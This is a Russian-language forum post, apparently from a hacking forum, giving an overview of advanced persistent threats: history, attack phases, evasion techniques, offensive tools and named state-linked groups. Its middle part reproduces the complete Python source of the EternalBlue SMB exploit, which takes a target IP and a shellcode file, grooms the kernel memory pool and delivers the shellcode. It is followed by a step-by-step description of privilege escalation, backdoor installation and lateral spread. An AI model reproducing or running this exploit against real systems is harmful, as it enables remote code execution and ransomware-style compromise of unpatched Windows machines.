D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Авторство: hackeryaroslav
Источник: xss.is
Интро
Как мы знаем, продвинутые постоянные угрозы (APT) представляют собой высокоразвитые и скрытные операции, направленные на поддержание долгосрочного доступа к целевым сетям. В отличие от традиционных кибератак, нацеленных на немедленную финансовую выгоду, APT-атаки характеризуются длительным внедрением с целью достижения стратегических целей, таких как сбор разведданных, политическое разрушение и экономический шпионаж. Возникнув в 1980-х годах с ранними примерами, такими как «Прощальное досье» и деяния Chaos Computer Club, APT развивались в сложности и возможностях, существенно влияя на глобальную кибербезопасность.
Середина 2000-х годов стала поворотным моментом в признании APT, что было продемонстрировано громкими инцидентами, такими как операция Aurora и червь Stuxnet, которые подчеркнули сложный и постоянный характер этих угроз. С тех пор появились известные APT-группы, такие как китайская APT1, российские APT28 и APT29, а также северокорейская Lazarus Group, демонстрируя типичные черты APT: передовые техники, специально разработанное вредоносное ПО и глубокое понимание защиты кибербезопасности.
Эти группы часто спонсируются государством и нацелены на правительственные учреждения, корпорации и критически важную инфраструктуру с целью кражи конфиденциальных данных, оставаясь незамеченными в течение длительных периодов. APT-атаки действуют через тщательно спланированные этапы, начиная с внедрения с помощью таких методов, как фишинг с использованием копий сайтов и уязвимости нулевого дня, затем закрепляясь и перемещаясь внутри сети, и заканчивая эксфильтрацией данных или саботажем системы. Они используют широкий спектр передовых инструментов и техник, включая стеганографию, комплекты эксплойтов и настраиваемое вредоносное ПО, чтобы оставаться незаметными и избегать обнаружения.
Стратегические цели APT тесно связаны с геополитическими целями их спонсирующих государств, направленные на сбор разведданных, получение экономических преимуществ и оказание политического влияния. Обнаружение и смягчение APT-угроз требуют надежных мер кибербезопасности, включая обнаружение аномалий, мониторинг трафика и идентификацию индикаторов компрометации (IoC) и серверов команд и управления (C2). Эффективные планы реагирования на инциденты и передовые решения безопасности критически важны для изоляции угроз, проведения судебно-медицинских анализов и улучшения будущих защитных механизмов.
Историческая справка
Истоки кибершпионажа уходят в 1980-е годы, когда французская разведывательная служба, возглавляемая операцией «Прощальное досье», использовала компьютер офицера КГБ для сбора важной информации о советской деятельности. В то же время немецкая хакерская группа Chaos Computer Club выявила уязвимости в правительственных и военных системах. Эти инциденты ознаменовали начало цифрового шпионажа и показали потенциал использования взаимосвязанных сетей для сбора разведданных. Эти ранние случаи предвосхитили превращение кибершпионажа в серьезную глобальную проблему в последующие десятилетия.В конце 1980-х годов термин «Продвинутая постоянная угроза» (APT) начал набирать популярность. Хотя концепция существовала, широкое признание APT-атаки получили только в середине 2000-х годов благодаря громким инцидентам, таким как операция Aurora и червь Stuxnet. Эти атаки подчеркнули скрытность, сложность и настойчивость, которые определяют APT. Эволюция APT-актеров шла параллельно с развитием технологий и интернета. Ранними примерами являются выпуск Cult of the Dead Cow программы Back Orifice в 1998 году, которая продемонстрировала уязвимости операционных систем Microsoft Windows, и атака ботнета Trin00 на сеть Миннесотского университета в 1999 году, признанная первой в мире атакой распределенного отказа в обслуживании (DDoS).
Со временем появились заметные группы APT. Среди них APT1, якобы управляемая китайским подразделением 61398 Народно-освободительной армии Китая, которая замешана в многочисленных крупных кампаниях кибершпионажа с как минимум 2006 года. Другие известные группы включают российские APT28 и APT29, а также северокорейскую Lazarus Group. Каждая из этих групп продемонстрировала типичные характеристики APT, такие как долгосрочные цели и передовые техники, направленные на поддержание незамеченного доступа и сбор конфиденциальной информации.
Характеристики APT
Как ранее сказано, продвинутые постоянные угрозы (APT) представляют собой уникальный класс киберугроз, характеризующийся своей сложностью, скрытностью и долгосрочными целями. В отличие от типичных кибератак, направленных на немедленную финансовую выгоду, APT сосредоточены на поддержании длительного доступа к целевым сетям, часто для достижения целей, таких как шпионаж или стратегическое разрушение.
Скрытность и настойчивость
APT выделяются своей скрытностью и настойчивостью. Термин «постоянная» указывает на длительность и решимость акторов угрозы в достижении своих целей. Эти факторы ведут длительные операции, иногда растягивающиеся на месяцы или даже годы, с целью поддержания долгосрочного доступа к сети цели. Этот продолжительный доступ позволяет им постоянно мониторить и извлекать ценную информацию в течение длительного периода. Фокус на оставлении незамеченными является ключевой характеристикой, так как любое подозрение со стороны цели может привести к усилению мер безопасности или обнаружению угрозы, что потенциально сведет на нет месяцы работы.
Передовые техники и инструменты
APT известны использованием передовых инструментов, уязвимостей нулевого дня и специально разработанного вредоносного ПО. Эти передовые техники позволяют им преодолевать защиты и устанавливать постоянный доступ. Они используют несколько векторов атаки, таких как фишинг с использованием копий сайтов, уязвимости нулевого дня и атаки через зараженные сайты, чтобы скомпрометировать ценные цели, включая государственные учреждения, корпорации и критически важную инфраструктуру. Их операции обычно демонстрируют глубокое понимание кибербезопасности и сетевых систем, что позволяет им навигировать и использовать сложные среды безопасности.
Выбор цели и разведка
APT-атаки направлены на конкретные организации, отрасли или правительства, обладающие ценными данными или активами. Выбор целей основан на потенциальной стратегической ценности. Первый этап APT-атаки включает выбор целевой организации и сбор обширной информации о ней через разведку. Это включает сканирование уязвимостей, понимание архитектуры сети и идентификацию ключевого персонала внутри организации. Эта информация затем используется для разработки индивидуального плана по проникновению в системы, расширению доступа и выполнению задач, избегая обнаружения.
Методы уклонения
С самых ранних этапов исследования цели до завершения атаки одной из основных задач APT является уклонение от обнаружения. Атакующие разрабатывают методы уклонения, изучая сеть и ее инструменты обнаружения, а затем тестируют способы их обхода без поднятия тревоги. Общие методы уклонения включают фрагментацию пакетов данных для обхода межсетевых экранов и систем обнаружения вторжений, а также использование стеганографии для встраивания файлов в изображения. Эти тактики помогают поддерживать низкий профиль в сети цели, позволяя атакующим действовать незамеченными в течение длительного времени.
Цели
Основные цели APT заключаются в поддержании долгосрочного доступа к скомпрометированным системам, эксфильтрации конфиденциальных данных и часто в оставлении незамеченными в течение длительного времени. Обычно их основная цель — кража информации, а не немедленное причинение вреда. Эта информация может включать интеллектуальную собственность, коммерческие тайны, стратегические коммуникации и засекреченные данные.
Этапы APT-атаки
Атака представляет собой тщательно спланированный и выполненный процесс, который обычно развивается в три широкие фазы: инфильтрация, закрепление и боковое перемещение, а также выполнение.Инфильтрация
Начальная фаза APT-атаки включает в себя получение доступа к целевой сети. Это достигается с помощью различных методов, включая фишинг с использованием копий сайтов, эксплуатацию уязвимостей приложений, подбор учетных данных и загрузку вредоносных программ при посещении зараженных сайтов. На этом этапе атакующие могут внедрять вредоносное ПО или трояны с удаленным доступом, чтобы закрепиться в системах цели.Закрепление и боковое перемещение
Попав в сеть, атакующие сосредотачиваются на расширении своего доступа и поддержании присутствия. Они собирают информацию о структуре сети, получают учетные данные и развертывают передовое вредоносное ПО для удаленного управления скомпрометированными системами. Этот этап включает боковое перемещение внутри сети, позволяющее атакующим получить доступ к более чувствительным системам и передавать данные по мере необходимости. Закрепление достигается с помощью таких методов, как каналы управления и контроля (C2), которые обеспечивают постоянную связь с инфицированными системами и способствуют дальнейшей эксплуатации, повышению привилегий и сбору данных.Выполнение
На заключительной фазе атакующие работают над достижением своих целей, которые часто включают эксфильтрацию данных, саботаж системы и установку дополнительных бэкдоров для будущих атак. Методы, используемые на этом этапе, могут включать кражу конфиденциальной информации, создание скрытых каналов для эксфильтрации данных и сокрытие своих следов, чтобы избежать обнаружения. Этот этап является критическим для атакующих, так как определяет успех их миссии и возможность долгосрочного доступа к сети цели.Инструменты и методы, используемые в APT
APT используют множество сложных инструментов и методов для инфильтрации, сохранения доступа и работы внутри целевых систем. Эти атаки тщательно разрабатываются и выполняются высококвалифицированными операторами, которые применяют разнообразные передовые стратегии для обеспечения их успеха и долговечности.Стеганография
Стеганография включает в себя скрытие данных или вредоносного ПО внутри изображений и других на вид безобидных файлов, чтобы избежать обнаружения. Эта техника позволяет атакующим незаметно вставлять вредоносные компоненты в иначе безопасные файлы, что затрудняет традиционным средствам безопасности выявление и пометку скрытых угроз.Эвазивные техники PHP
Методы эвазивности PHP включают в себя изменение порядка символов для внедрения бэкдоров в код веб-сайтов или веб-приложений. Этот метод помогает атакующим внедрять вредоносный код таким образом, чтобы обойти традиционные механизмы безопасности, позволяя несанкционированный доступ и контроль над скомпрометированными веб-ресурсами.Анализ активности мыши
APT часто применяют методы анализа активности мыши, отслеживая клики или другие взаимодействия. Это помогает вредоносному ПО определить, выполняется ли оно в целевой операционной среде или в виртуализированных системах, таких как платформы для анализа вредоносного ПО или песочницы антивирусов. На основе этой оценки вредоносное ПО может корректировать свое поведение, чтобы избежать обнаружения и анализа.Маскировка источников атак
Для скрытия своей идентичности и намерений атакующие маскируют источники своих атак. Это достигается путем создания видимости, что атака исходит из ложного местоположения, усложняя попытки отследить реальный источник угрозы. Такая маскировка помогает защитить атакующих и позволяет им действовать с меньшим риском раскрытия.Эксплойт-киты
Эксплойт-киты нацелены на уязвимости в программном обеспечении, особенно в устаревших системах с критическими недостатками безопасности. Эти киты развертывают шеллкод, небольшой фрагмент вредоносного ПО, предназначенный для загрузки дополнительных вредоносных компонентов с контролируемых атакующими сетей. Этот метод облегчает инфильтрацию и инфекцию организаций и устройств путем эксплуатации известных уязвимостей.Методы скрытности
APT используют комбинацию передовых инструментов и стратегий для избегания обнаружения. К ним относятся безфайловое вредоносное ПО, социальная инженерия, руткиты, DNS-туннелирование и другие методы маскировки. Используя эти техники, APT могут обходить механизмы мониторинга и обнаружения, оставаясь скрытыми в течение длительного времени, что критично для их долгосрочных целей.Индивидуализированные атаки
APT являются высоко нацеленными, часто включая специально созданное вредоносное ПО, предназначенное для эксплуатации конкретных уязвимостей в целевой организации. Такой индивидуализированный подход обеспечивает максимальную эффективность атаки, сосредоточенную на уникальных слабостях цели. Эти сложные атаки требуют значительных затрат и ресурсов, что отражает существенные усилия и экспертизу, необходимые для их разработки.Примеры из реальной практики
Одним из известных примеров APT является атака Stuxnet, которая была направлена на ядерную программу Ирана. Stuxnet использовал комбинацию скрытных техник и сложного вредоносного ПО для инфильтрации и саботажа критической инфраструктуры, демонстрируя потенциальное воздействие хорошо спланированных APT.Другим примером является операция Shady Rat, которая использовала фишинг для нацеливания на конкретных государственных сотрудников с доступом к конфиденциальной информации, демонстрируя нацеленную и настойчивую природу этих угроз.
Некоторые популярные опен сорс инструменты, используемые в атаках включают:
- Cobalt Strike - инструмент для эмуляции атак, часто применяемый для пост-эксплуатации и латерального перемещения в сети.
- Mimikatz - утилита для извлечения паролей и хешей из памяти Windows, используемая для кражи учетных данных.
- Empire - пост-эксплуатационный фреймворк с функциями для сбора информации и латерального перемещения.
- Nmap - сканер портов и сетевой разведки, применяемый для картографирования сети.
- Wireshark - анализатор сетевого трафика, используемый для перехвата и анализа коммуникаций.
- PsExec - утилита от Microsoft, часто применяемая для удаленного выполнения команд.
https://github.com/iamcryptoki/snowden-archive?tab=readme-ov-file
А также....
- Hacking Team RCS (Remote Control System) - инструменты итальянской компании для слежки, слитые в 2015 году.
- NSA TAO (Tailored Access Operations) инструменты - различные эксплойты и утилиты АНБ, слитые группой Shadow Brokers.
- Vault 7 инструменты ЦРУ - набор хакерских инструментов, опубликованный WikiLeaks.
- APT34 (OilRig) инструменты - иранская APT-группа, чьи инструменты были слиты в 2019 году.
- Equation Group инструменты - предположительно связаны с АНБ, слиты Shadow Brokers.
Самый известный из эксплоитов, слитых на гитхаб - EternalBlue, эксплоит, разработанный АНБ США и слитый группой Shadow Brokers в 2017 году. Он использует уязвимость в реализации протокола SMB в Windows и позволяет удаленно выполнить код на уязвимой системе. Этот эксплоит стал особенно известен из-за его использования в таких атаках, как WannaCry и NotPetya, которые вызвали масштабные сбои по всему миру.
Python: Скопировать в буфер обмена
Код:
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
NTFEA_SIZE = 0x11000
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + b'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + b'\x00')*600
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + b'A'*0xf3be
ntfea1f000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x2494
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + b'A'*0x48ee
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWskStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};
struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += b'\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0)
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0)
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0)
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80)
fakeSrvNetBuffer = fakeSrvNetBufferNsa
feaList = pack('<I', 0x10000)
feaList += ntfea[NTFEA_SIZE]
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += (b'\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0)
fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0)
fake_recv_struct += (b'\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190)
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0)
fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0)
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1)
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
def createSessionAllocNonPaged(target, size):
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 2
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB()
i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
def createConnectionWithBigSMBFirst80(target):
sk = socket.create_connection((target, 445))
pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)
pkt += b'BAAD'
pkt += b'\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
conn = smb.SMB(target, target)
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
allocConn.get_socket().close()
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
holeConn.get_socket().close()
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
for sk in srvnetConn:
sk.close()
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
Код может показаться сложным, но можно подчеркнуть его отлично подготовленную структуру:
- Инициация:
- Сканирование порта 445 (SMB)
- Установка SMB-соединения с целевой системой
- Эксплуатация уязвимости:
- Отправка специально сформированного Trans2 Secondary Request
- Триггер переполнения буфера в функции обработки SMBv1
- Подготовка памяти:
- Применение техники heap spraying
- Размещение шелл-кода в предсказуемых адресах памяти
- Перехват управления:
- Перезапись указателя функции обработки SMB
- Перенаправление выполнения на подготовленный шелл-код
- Выполнение шелл-кода:
- Обход DEP (Data Execution Prevention)
- Повышение привилегий до SYSTEM
- Загрузка основной полезной нагрузки:
- Скачивание дополнительных модулей
- Внедрение бэкдора (например, DoublePulsar)
- Закрепление в системе:
- Установка постоянного механизма доступа
- Маскировка следов вторжения
- Латеральное распространение:
- Сканирование локальной сети
- Атака на другие уязвимые системы
- Использование особенностей обработки пакетов в ядре Windows
- Манипуляции с Non-Paged Pool для размещения шелл-кода
- Применение ROP (Return-Oriented Programming) для обхода защит
- Использование SMB-протокола для распространения по сети
Кстати, атака WannaCry, по моему мнению, одна из самых страшных, была остановлена случайно подростком. Эту интересную историю можно найти тут:
https://en.wikipedia.org/wiki/Marcus_Hutchins#WannaCry

Заметные группы APT
Группы продвинутых постоянных угроз (APT) используют сложные методы, такие как "жизнь на земле" (LOTL, см https://xss.is/threads/119583/ кртако: использование встроенных программных инструментов для осуществления своей деятельности), безфайловое вредоносное ПО (см https://xss.is/threads/119583/ кратко: находящееся в памяти, а не на диске), шифрование для сокрытия своей коммуникации и антифорензные меры для сокрытия своих следов. Определение принадлежности APT-групп может быть сложным, но некоторые хорошо известные группы имеют узнаваемые модели и происхождение. Обычно китайские APT-актеры называются "Пандами", российские APT — "Медведями", а иранские APT — "Котятами".Российские APT-группы
Российские APT-группы известны своими передовыми возможностями и связаны с многочисленными громкими кибератаками.- APT28 (Fancy Bear): Эта группа была вовлечена в несколько громких шпионских кампаний и, как полагают, связана с российским военным разведывательным агентством ГРУ.
- APT29 (Cozy Bear): Известна своими атаками на государственные и коммерческие объекты с целью сбора разведывательной информации. Подозревается, что APT29 связана с Федеральной службой безопасности (ФСБ) России.
Китайские APT-группы
Китай имеет значительное количество групп APT, многие из которых считаются поддерживаемыми государством.- APT1 (Comment Panda): Также известна как Подразделение 61398 Народно-освободительной армии Китая, эта группа активно работает с 2006 года, нацеливаясь на критическую инфраструктуру и оборонные компании.
- APT41 (Wicked Panda): Активная с 2012 года, APT41 нацеливается на здравоохранение, телекоммуникации, технологии и индустрию видеоигр в 14 странах. Эта группа занимается как государственной шпионской деятельностью, так и финансово мотивированными операциями.
- APT5: Эта шпионская группа активна с 2007 года и в основном нацелена на телекоммуникационные, аэрокосмические и оборонные отрасли в США, Европе и Азии. Известна своими продвинутыми методами и значительным интересом к компрометации сетевых устройств и их программного обеспечения.
Иранские APT-группы
Иранские APT-группы участвовали в различных кибершпионских и саботажных действиях.- APT35 (Charming Kitten): Известна своими фишинг-кампаниями, нацеленными на политических диссидентов, журналистов и организации, критически настроенные к иранскому правительству. Эта группа активна в течение нескольких лет.
- APT39: Эта группа проводит кибершпионские мероприятия от имени Министерства разведки и безопасности Ирана (MOIS), в основном нацеливаясь на телекоммуникационную и туристическую отрасли.
Северокорейские APT-группы
Северокорейские APT-группы известны своими финансово мотивированными операциями и разрушительными кибератаками.- APT38: Специализируется на финансовых кибероперациях, нацеливаясь на банки, финансовые учреждения и криптовалютные биржи в как минимум 38 странах. Известные атаки включают кражу $81 миллиона из Центрального банка Бангладеш в 2016 году.
- Kimsuky: В январе 2022 года эта группа нацелилась на медийную компанию и аналитический центр в Южной Корее, используя фишинг-имейлы с макросами в документах Microsoft Word, развертывая ПО для кражи информации в сети жертвы.
Другие заметные APT-группы
Другие заметные APT-группы с значительной кибершпионской активностью включают Equation Group, а также- APT29: Приписывается российской Службе внешней разведки (СВР). APT29 нацеливалась на правительственные сети в Европе и странах НАТО, исследовательские институты и аналитические центры как минимум с 2008 года. (см выше)
- Stealth Falcon: Известен целенаправленными атаками шпионского ПО против журналистов, активистов и диссидентов из ОАЭ как минимум с 2012 года, с возможной связью с правительством ОАЭ.
- Strider: Активен как минимум с 2011 года, нацеливается на жертвы в таких странах, как Россия, Китай, Швеция и Иран.
- Suckfly: Группа из Китая, активная как минимум с 2014 года, нацеливается на различные отрасли.
- TA2541: Известна своими атаками на авиационную, аэрокосмическую и оборонную промышленности как минимум с 2017 года.
В заключение...
APT — это настоящие мастера. Они проникают в системы на долго, используя хитроумные уловки, чтобы не попасться на глаза. В статье показано, как эти группы действуют, начиная от изощрённых методов взлома и заканчивая реальными примерами атак. Если не держать ухо востро, можно стать их следующей жертвой.